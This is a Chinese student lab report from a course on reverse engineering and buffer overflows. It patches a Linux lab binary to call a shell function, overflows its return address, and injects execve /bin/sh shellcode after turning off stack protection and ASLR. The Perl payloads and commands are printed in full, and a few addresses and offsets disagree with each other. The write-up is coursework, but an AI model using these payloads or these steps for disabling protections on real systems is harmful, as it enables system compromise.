实验目的:

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实验要求:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

基础知识:

  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
  • JE:条件转移指令,如果相等则跳转。(机器码:74)
  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

实验步骤:

(一)直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
  • 学习目标:理解可执行文件与机器指令
  • 进阶:掌握ELF文件格式,掌握动态技术使用
objdump -d pwn1

将pwn1反汇编,得到以下代码(只展示部分核心代码):

  • 从反汇编的文件来看,main函数中调用foo函数,使用call指令。通过分析发现foo函数与getShell函数的首地址之间

存在偏移,两者之间相差了14。系统调用foo函数对应机器指令为e8 d7ffffff,由于电脑为小端机器则通过计算可得知将其指令为c3 ffffff即可,即:

0x08048491 - 0x0804847d = 0x00000014  //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要篡改的目标地址

修改步骤具体过程如下:

  • vi打开pwn1,输入:%!xxd将显示模式切换为十六进制
  • 在底行模式输入/d7定位需要修改的地方,并确认
  • 进入插入模式,修改d7c3
  • 输入:%!xxd -r将十六进制转换为原格式
  • 使用:wq保存并退出
    反汇编查看修改后的代码,发现call指令正确调用getShell:
  • 这时如果再次objdump -d pwn1你能看到pwn1文件已经改了:

执行./pwn1文件可以成功获取shell:

至此第一个实验完成。

(二)通过构造输入参数,造成BOF攻击,改变程序执行流

  • 知识要求:堆栈结构,返回地址
  • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
  • 进阶:掌握ELF文件格式,掌握动态技术
    思路
  • 利用缓存区溢出进行攻击,是利用输入的数据将返回值进行覆盖。如果用getShell函数的地址进行覆盖,就会使程序调用getShell函数实现BOF攻击。
  • 调用函数的时候,就会将函数的地址作为返回值压栈,即放入栈顶。字符串字节数足够大的时候就能覆盖返回值。理清思路,使用gdb进行调试,弄清楚是哪几个字节会覆盖返回地址。

操作步骤具体如下:

  • 使用gdb命令,file pwn1载入pwn1文件。

    输入r执行pwn1,这时程序正常执行,在foo子函数调用的过程中,需要我们输入一个字符串(在你输入完毕以后foo会自动输出这个字符串)。

    输入36个字符后回车:abcdefghijklmnopqrstuvwxyz1234567890

  • 这时候已经发生段错误:Segmentation fault,可以看见图中:0x30393837 in ?? (),也就是说系统无法识别跳转的地址0x30393837

    本次实验用的是小端机器,30、39、38、37分别是0、9、8、7对应的ASCII码,则表明最后4位刚好完成溢出,覆盖掉返回地址了。

    那只需要把最后四位写为\xd7\x84\x04\x08(shellcode的起始地址0x080484d7)就可以了。

  • 使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

    Perl -e:用于在命令行而不是在脚本中执行 Perl 命令;“|”管道:将第一条命令的结果作为第二条命令的参数来使用;

    可以使用xxd input查看input文件的内容。

    攻击成功以后:

至此第二个实验完成。

(三)注入Shellcode并执行

  • shellcode就是一段机器指令(code)
  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
    首先使用apt-get install execstack命令安装execstack。

具体实验步骤如下:

  • 修改设置:
  • apt-get install execstack //安装execstack命令
    execstack -s pwn1 //设置堆栈可执行
    execstack -q pwn1 //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
    echo "" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
  • 构建构造要注入的payload
  • 使用命令:
  • perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

    注入,其中前面32个A用来填满缓冲区buf,\x04\x03\x02\x01为预留的返回地址retaddr。

  • 然后在该窗口运行(cat input_shellcode;cat) | ./pwn1
  • 然后在另一个窗口运行ps -ef | grep pwn,能看见当前运行pwn1的进程号;
  • 在gdb里面attach 进程号(5802)进行调试如图:

  • (gdb) disassemble foo,反汇编
  • break *0x080484ae命令设置断点,输入c命令继续运行,同时之前的正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址。用x/16x 0xffffd2ec命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd2fc
  • 接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可,用命令
  • perl -e 'print "A" x 32;print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 最后执行程序:
  • (cat input_shellcode;cat) | ./pwn1

至此实验全部完成。

补充:

我对漏洞的看法:在我看来,漏洞是在设计过程中就存在的一些物理上的或逻辑上的缺陷,并且这些缺陷可以被不法攻击者利用,给人们带来损失。漏洞危害极大,会破环系统泄露隐私,给被破坏者带来难以承受的损失。

2018-2019-2 网络对抗技术 20165328 Exp1 PC平台逆向破解的更多相关文章

  1. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  2. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  3. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  4. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  5. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  6. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

  7. 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

    2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...

  8. 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...

  9. 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3

    <网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...

随机推荐

  1. 洛谷P3719 REXP 题解

    题目 一道考验递归的题目,在面对这种字符串处理的题时,还是应该用递归这种比较好看懂而且比较简单写的算法. \(code\) ```c++ // luogu-judger-enable-o2 inclu ...

  2. chainsql异常记录

  3. 上板子在线抓波发现app_rdy一直为低

    现象 使用Xilinx的MIG IP测试外挂DDR3的读写发现一段很短的时间后app_rdy恒为低,并且最后一个读出的数据全是F. (1)不读写数据,app_rdy正常为高,MIG IP初始化信号为高 ...

  4. Multi-View 3D Reconstruction with Geometry and Shading——Part-2

    From PhDTheses Multi-View 3D Reconstruction with Geometry and Shading 我们的主要目标是只利用图像中的信息而没有额外的限制或假设来得 ...

  5. ReactNative开发笔记(持续更新...)

    本文均为RN开发过程中遇到的问题.坑点的分析及解决方案,各问题点之间无关联,希望能帮助读者少走弯路,持续更新中... (2019年3月29日更新) 原文链接:http://www.kovli.com/ ...

  6. cookie-闲聊

    最近练习时对cookie接触较多,所以就着cookie的Domain与path属性闲聊几句. 首先,对于cookie要明确,cookie可以由自身属性确定哪些站点可以看到相应的cookie.毕竟一个浏 ...

  7. Linux 三剑客(Awk、Sed、Grep)

    grep/egrep 主要作用:给搜索过滤出来的内容加上颜色和排除功能 常用参数 -V 打印grep的版本号 -E 解释PATTERN作为扩展正则表达式,也就相当于使用egrep. 或操作 -F 解释 ...

  8. 大二学生党的Security+备考宝典(一次过)

    刚出成绩的一刹那,我的心里是慌的很的,因为可能知识点复习的不够扎实,考试上的题目全都回归了课本,而我的知识回归了老师(滑稽),一下给大家分享下我的经验,希望大家引以为戒,都能考出好成绩. 一.直播阶段 ...

  9. lumen 支持多文件上传

    1.webform (注意:name后面一定要加[]号) <form method="post" enctype="multipart/form-data" ...

  10. 八.django模型系统(二)之常用查询及表关系的实现

    Ⅰ.常用查询  1.几个概念 每一个django模型类,都有一个默认的管理器,objects,查询就是依赖于objects管理器进行的(在创建时就被添加了). QuerySet表示数据库中对象的列表( ...